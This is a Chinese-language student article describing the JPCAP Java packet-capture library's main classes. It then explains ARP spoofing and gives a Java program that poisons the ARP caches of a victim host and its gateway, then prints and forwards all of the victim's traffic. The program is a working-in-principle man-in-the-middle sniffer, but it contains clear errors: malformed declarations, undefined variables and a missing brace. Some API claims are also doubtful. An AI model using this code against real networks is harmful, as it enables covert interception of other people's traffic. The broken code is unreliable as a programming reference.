JPCAP——JAVA中的数据链路层控制
半年前网络技术课的老师要我们做个ARP查询，老师是教人用winsock的，可我一味钻java，干着急，钻进java世界到处查，终于找到这么一个东西。
然后做了一个ARP监听器，没想到被老师看上了，说是国内JPCAP研究的人不多，可以考虑写一篇论文，老师给我推荐发表。
于是有了这么一篇东西。不过现在还不知道老师发哪个刊物去了。。。老师说，还没回音。。
JPCAP
——
JAVA
中的数据链路层控制
一．
JPCAP
简介
众所周知，JAVA语言虽然在TCP/UDP传输方面给予了良好的定义，但对于网络层以下的控制，却是无能为力的。JPCAP扩展包弥补了这一点。
JPCAP实际上并非一个真正去实现对数据链路层的控制，而是一个中间件，JPCAP调用wincap/libpcap，而给JAVA语言提供一个公共的接口，从而实现了平台无关性。在官方网站上声明，JPCAP支持FreeBSD 3.x, Linux RedHat 6.1, Fedora Core 4, Solaris, and Microsoft Windows 2000/XP等系统。
二．
JPCAP
机制
JPCAP的整个结构大体上跟wincap/libpcap是很相像的，例如NetworkInterface类对应wincap
的
typedef struct _ADAPTER ADAPTER
，
getDeviceList()
对应pcap_findalldevs()等等。
JPCAP有16个类，下面就其中最重要的4个类做说明。
1．
NetworkInterface
该类的每一个实例代表一个网络设备，一般就是网卡。这个类只有一些数据成员，除了继承自java.lang.Object的基本方法以外，没有定义其它方法。
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数据成员
|
|
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NetworkInterfaceAddress[]
|
addresses
这个接口的网络地址。设定为数组应该是考虑到有些设备同时连接多条线路，例如路由器。但我们的PC机的网卡一般只有一条线路，所以我们一般取addresses[0]就够了。
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|
java.lang.String
|
datalink_description
.
数据链路层的描述。描述所在的局域网是什么网。例如，以太网（Ethernet）、无线LAN网（wireless LAN）、令牌环网(token ring)等等。
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|
java.lang.String
|
datalink_name
该网络设备所对应数据链路层的名称。具体来说，例如Ethernet10M、100M、1000M等等。
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|
java.lang.String
|
description
网卡是XXXX牌子XXXX型号之类的描述。例如我的网卡描述：Realtek RTL8169/8110 Family Gigabit Ethernet NIC
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|
boolean
|
Loopback
标志这个设备是否loopback设备。
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byte[]
|
mac_address
网卡的MAC地址，6个字节。
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java.lang.String
|
Name
这个设备的名称。例如我的网卡名称：/Device/NPF_{3CE5FDA5-E15D-4F87-B217-255BCB351CD5}
|
2．
JpcapCaptor
该类提供了一系列静态方法实现一些基本的功能。该类一个实例代表建立了一个与指定设备的链接，可以通过该类的实例来控制设备，例如设定网卡模式、设定过滤关键字等等。
数据成员
|
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int
|
dropped_packets
抛弃的包的数目。
|
protected int
|
ID
这个数据成员在官方文档中并没有做任何说明，查看
JPCAP
源代码可以发现这个
ID
实际上在其
JNI
的
C
代码部分传进来的，这类本身并没有做出定义，所以是供其内部使用的。实际上在对
JpcapCator
实例的使用中也没有办法调用此数据成员。
|
protected static boolean[]
|
instanciatedFlag
同样在官方文档中没有做任何说明，估计其为供内部使用。
|
protected static int
|
MAX_NUMBER_OF_INSTANCE
同样在官方文档中没有做任何说明，估计其为供内部使用。
|
int
|
received_packets
收到的包的数目 |
方法成员
|
|
static NetworkInterface[]
|
getDeviceList
()
返回一个网络设备列表。 |
static JpcapCaptor
|
openDevice
(NetworkInterface interface, int snaplen, boolean promisc, int to_ms)
创建一个与指定设备的连接并返回该连接。注意，以上两个方法都是静态方法。
Interface
：要打开连接的设备的实例；
Snaplen
：这个是比较容易搞混的一个参数。其实这个参数不是限制只能捕捉多少数据包，而是限制每一次收到一个数据包，只提取该数据包中前多少字节；
Promisc
：设置是否混杂模式。处于混杂模式将接收所有数据包，若之后又调用了包过滤函数
setFilter()
将不起任何作用；
To_ms
：这个参数主要用于
processPacket()
方法，指定超时的时间；
|
void
|
Close()
关闭调用该方法的设备的连接，相对于 openDivece() 打开连接。 |
JpcapSender
|
getJpcapSenderInstance
()
该返回一个 JpcapSender 实例， JpcapSender 类是专门用于控制设备的发送数据包的功能的类。 |
Packet
|
getPacket
()
捕捉并返回一个数据包。这是 JpcapCaptor 实例中四种捕捉包的方法之一。 |
int
|
loopPacket
(int count, PacketReceiver handler)
捕捉指定数目的数据包，并交由实现了 PacketReceiver 接口的类的实例处理，并返回捕捉到的数据包数目。如果 count 参数设为－ 1 ，那么无限循环地捕捉数据。
这个方法不受超时的影响。还记得
openDivice()
中的
to_ms
参数么？那个参数对这个方法没有影响，如果没有捕捉到指定数目数据包，那么这个方法将一直阻塞等待。
PacketReceiver
中只有一个抽象方法
void receive(Packet p)
。
|
int
|
processPacket
(int count, PacketReceiver handler)
跟 loopPacket
()
功能一样，唯一的区别是这个方法受超时的影响，超过指定时间自动返回捕捉到数据包的数目。
|
int
|
dispatchPacket
(int count, PacketReceiver handler)
跟 processPacket
()
功能一样，区别是这个方法可以处于“non-blocking”模式工作，在这种模式下dispatchPacket()可能立即返回，即使没有捕捉到任何数据包。
|
void
|
setFilter
(java.lang.String condition, boolean optimize)
. condition
：
设定要提取的包的关键字。
Optimize
：这个参数在说明文档以及源代码中都没有说明，只是说这个参数如果为真，那么过滤器将处于优化模式。
|
void
|
setNonBlockingMode
(boolean nonblocking)
如果值为“
true
”，那么设定为“
non-blocking
”模式。
|
void
|
breakLoop()
当调用
processPacket()
和
loopPacket()
后，再调用这个方法可以强制让
processPacket()
和
loopPacket()
停止。
|
3．
JpcapSender
该类专门用于控制数据包的发送。
方法成员
|
|
void
|
close
()
强制关闭这个连接。 |
static JpcapSender
|
openRawSocket
()
这个方法返回的
JpcapSender
实例发送数据包时将自动填写数据链路层头部分。
|
void
|
sendPacket
(Packet packet)
JpcapSender 最重要的功能，发送数据包。需要注意的是，如果调用这个方法的实例是由 JpcapCaptor 的 getJpcapSenderInstance
()
得到的话，需要自己设定数据链路层的头，而如果是由上面的openRawSocket()
得到的话，那么无需也不能设置，数据链路层的头部将由系统自动生成。
|
4．
Packet
这个是所有其它数据包类的父类。Jpcap所支持的数据包有：
ARPPacket 、 DatalinkPacket 、 EthernetPacket 、 ICMPPacket 、 IPPacket 、 TCPPacket 、 UDPPacket
ARPPacket 、 DatalinkPacket 、 EthernetPacket 、 ICMPPacket 、 IPPacket 、 TCPPacket 、 UDPPacket
三．使用JPCAP
实现监听
1
．监听原理
在详细说用JPCAP实现网络监听实现前，先简单介绍下监听的原理。
局域网监听利用的是所谓的“ARP欺骗”技术。在以前曾经一段阶段，局域网的布局是使用总线式（或集线式）结构，要到达监听只需要将网卡设定为混杂模式即可，但现在的局域网络普遍采用的是交换式网络，所以单纯靠混杂模式来达到监听的方法已经不可行了。所以为了达到监听的目的，我们需要“欺骗”路由器、“欺骗”交换机，即“ARP欺骗”技术。
假设本机为A，监听目标为B。
首先，伪造一个ARP REPLY包，数据链路层头及ARP内容部分的源MAC地址填入A的MAC地址，而源IP部分填入网关IP，目的地址填入B的MAC、IP，然后将这个包发送给B，而B接收到这个伪造的ARP REPLY包后，由于源IP为网关IP，于是在它的ARP缓存表里刷新了一项，将（网关IP，网关MAC）刷新成（网关IP，A的MAC）。而B要访问外部的网都需要经过网关，这时候这些要经过网关的包就通通流到A的机器上来了。
接着，再伪造一个ARP REPLY包，数据链路层头及ARP内容部分的源MAC地址填入A的MAC地址，而源IP部分填入B的IP，目的地址填入网关MAC、IP，然后将这个包发给网关，网关接收到这个伪造的ARP REPLY包后，由于源IP为B的IP，于是在它的ARP缓存表里刷新了一项，将（B的IP，B的MAC）刷新成（B的IP，A的MAC）。这时候外部传给B的数据包经过网关时，就通通转发给A。
这样还只是拦截了B的数据包而已，B并不能上网——解决方法是将接收到的包，除了目的地址部分稍做修改，其它原封不动的再转发出去，这样就达到了监听的目的——在B不知不觉中浏览了B所有的对外数据包。
ARP
数据包解析
单元：
Byte
|
Ethernet
头部
|
ARP
数据部分
|
|||||||||
|
６
|
６
|
２
|
2
|
2
|
2
|
2
|
４
|
６
|
４
|
６
|
|
目标
MAC
地址
|
源地
MAC
地址
|
类型号
0x0800:ip
0x0806:ARP
|
局域网类型
以太网
0x0001
|
网络协议类型
IP
网络
0x0800
|
MAC/IP
地址长度，恒为
0x06/04
|
ARP
包类型
REPLY
0x0002
|
ARP
目标
IP
地址
|
ARP
目标
MAC
地址
|
ARP
源
IP
地址
|
ARP
源
MAC
地址
|
2
．用JPCAP
实现监听
就如上面说的，为了实现监听，我们必须做四件事：
A．发送ARP包修改B的ARP缓存表；
B．发送ARP包修改路由ARP缓存表；
C．转发B发过来的数据包；
D．转发路由发过来的数据包；
下面我们给个小小的例子说明怎样实现。
我们假定运行这个程序的机器A只有一个网卡，只接一个网络，所在局域网为Ethernet，并且假定已经通过某种方式获得B和网关的MAC地址（例如ARP解析获得）。我们修改了B和网关的ARP表，并对他们的包进行了转发。
public class changeARP{
private NetworkInterface[] devices; //
设备列表
private NetworkInterface device; //
要使用的设备
private JpcapCaptor jpcap; //
与设备的连接
private JpcapSender sender; //
用于发送的实例
private byte[] targetMAC, gateMAC; //B
的
MAC
地址，网关的
MAC
地址
private byte[] String targetIp, String gateIp; //B
的
IP
地址，网关的
IP
地址
/**
*
初始化设备
* JpcapCaptor.getDeviceList()
得到设备可能会有两个，其中一个必定是“
Generic
*dialup adapter
”，
这是
windows
系统的虚拟网卡，并非真正的硬件设备。
*
注意：在这里有一个小小的
BUG
，如果
JpcapCaptor.getDeviceList()
之前有类似
JFrame jf=new
*JFame
（）这类的语句会影响得到设备个数，只会得到真正的硬件设备，而不会出现虚拟网卡。
*
虚拟网卡只有
MAC
地址而没有
IP
地址，而且如果出现虚拟网卡，那么实际网卡的
MAC
将分
*
配给虚拟网卡，也就是说在程序中调用
device.
mac_address
时得到的是
00 00 00 00 00 00
。
*/
private NetworkInterface getDevice() throws IOException {
devices = JpcapCaptor.getDeviceList(); //
获得设备列表
device = devices[0]; //
只有一个设备
jpcap = JpcapCaptor.openDevice(device, 2000, false, 10000); //
打开与设备的连接
jpcap.setFilter(“ip”,true); //
只监听
B
的
IP
数据包
sender = captor.getJpcapSenderInstance();
}
/**
*
修改
B
和网关的
ARP
表。因为网关会定时发数据包刷新自己和
B
的缓存表，所以必须每隔一
*
段时间就发一次包重新更改
B
和网关的
ARP
表。
*@
参数
targetMAC B
的
MAC
地址，可通过
ARP
解析得到；
*@
参数
targetIp B
的
IP
地址；
*@
参数
gateMAC
网关的
MAC
地址；
*@
参数
gateIp
网关的
IP;
*/
public changeARP(byte[] targetMAC, String targetIp,byte[] gateMAC, String gateIp)
throws UnknownHostException,InterruptedException {
this. targetMAC = targetMAC;
this. targetIp = targetIp;
this. gateMAC = gateMAC;
this. gateIp = gateIp;
getDevice();
arpTarget = new ARPPacket(); //
修改
B
的
ARP
表的
ARP
包
arpTarget.hardtype = ARPPacket.HARDTYPE_ETHER; //
选择以太网类型
(Ethernet)
arpTarget.prototype = ARPPacket.PROTOTYPE_IP; //
选择
IP
网络协议类型
arpTarget.operation = ARPPacket.ARP_REPLY; //
选择
REPLY
类型
arpTarget.hlen = 6; //MAC
地址长度固定
6
个字节
arpTarget.plen = 4; //IP
地址长度固定
4
个字节
arpTarget.sender_hardaddr = device.mac_address; //A
的
MAC
地址
arpTarget.sender_protoaddr = InetAddress.getByName(gateIp).getAddress(); //
网关
IP
arpTarget.target_hardaddr = targetMAC; //B
的
MAC
地址
arpTarget.target_protoaddr = InetAddress.getByName(targetIp).getAddress(); //B
的
IP
EthernetPacket ethToTarget = new EthernetPacket(); //
创建一个以太网头
ethToTarget.frametype = EthernetPacket.ETHERTYPE_ARP; //
选择以太包类型
ethToTarget.src_mac = device.mac_address; //A
的
MAC
地址
ethToTarget.dst_mac = targetMAC; //B
的
MAC
地址
arpTarget.datalink = ethToTarget; //
将以太头添加到
ARP
包前
arpGate = new ARPPacket(); //
修改网关
ARP
表的包
arpGate.hardtype = ARPPacket.HARDTYPE_ETHER; //
跟以上相似，不再重复注析
arpGate.prototype = ARPPacket.PROTOTYPE_IP;
arpGate.operation = ARPPacket.ARP_REPLY;
arpGate.hlen = 6;
arpGate.plen = 4;
arpGate.sender_hardaddr = device.mac_address;
arpGate.sender_protoaddr = InetAddress.getByName(targetIp).getAddress();
arpGate.target_hardaddr = gateMAC;
arpGate.target_protoaddr = InetAddress.getByName(gateIp).getAddress();
EthernetPacket ethToGate = new EthernetPacket();
ethToGate.frametype = EthernetPacket.ETHERTYPE_ARP;
ethToGate.src_mac = device.mac_address;
ethToGate.dst_mac = gateMAC;
arpGate.datalink = ethToGate;
thread=new Thread(new Runnable(){ //
创建一个进程控制发包速度
public void run() {
while (true) {
sender.sendPacket(arpTarget);
sender.sendPacket(arpGate);
Thread.sleep(500);
}).start();
recP(); //
接收数据包并转发
}
/**
*
修改包的以太头，转发数据包
*
参数
packet
收到的数据包
*
参数
changeMAC
要转发出去的目标
*/
private void send(Packet packet, byte[] changeMAC) {
EthernetPacket eth;
if (packet.datalink instanceof EthernetPacket) {
eth = (EthernetPacket) packet.datalink;
for (int i = 0; i < 6; i++) {
eth.dst_mac[i] = changeMAC[i]; //
修改包以太头，改变包的目标
eth.src_mac[i] = device.mac_address[i]; //
源发送者为
A
}
sender.sendPacket(packet);
}
}
/**
*
打印接受到的数据包并转发
*/
public void recP(){
IPPacket ipPacket = null;
while(true){
ipPacket =
（
IPPacket
）
jpcap.getPacket();
System.out.println(ipPacket);
if (ipPacket.src_ip.getHostAddress().equals(targetIp))
send(packet, gateMAC);
else
send(packet, targetMAC);
}
}
注意：这个例子只是为了说明问题，并没有考虑到程序的健壮性，所以并不一定能在任何一台机器任何一个系统上运行。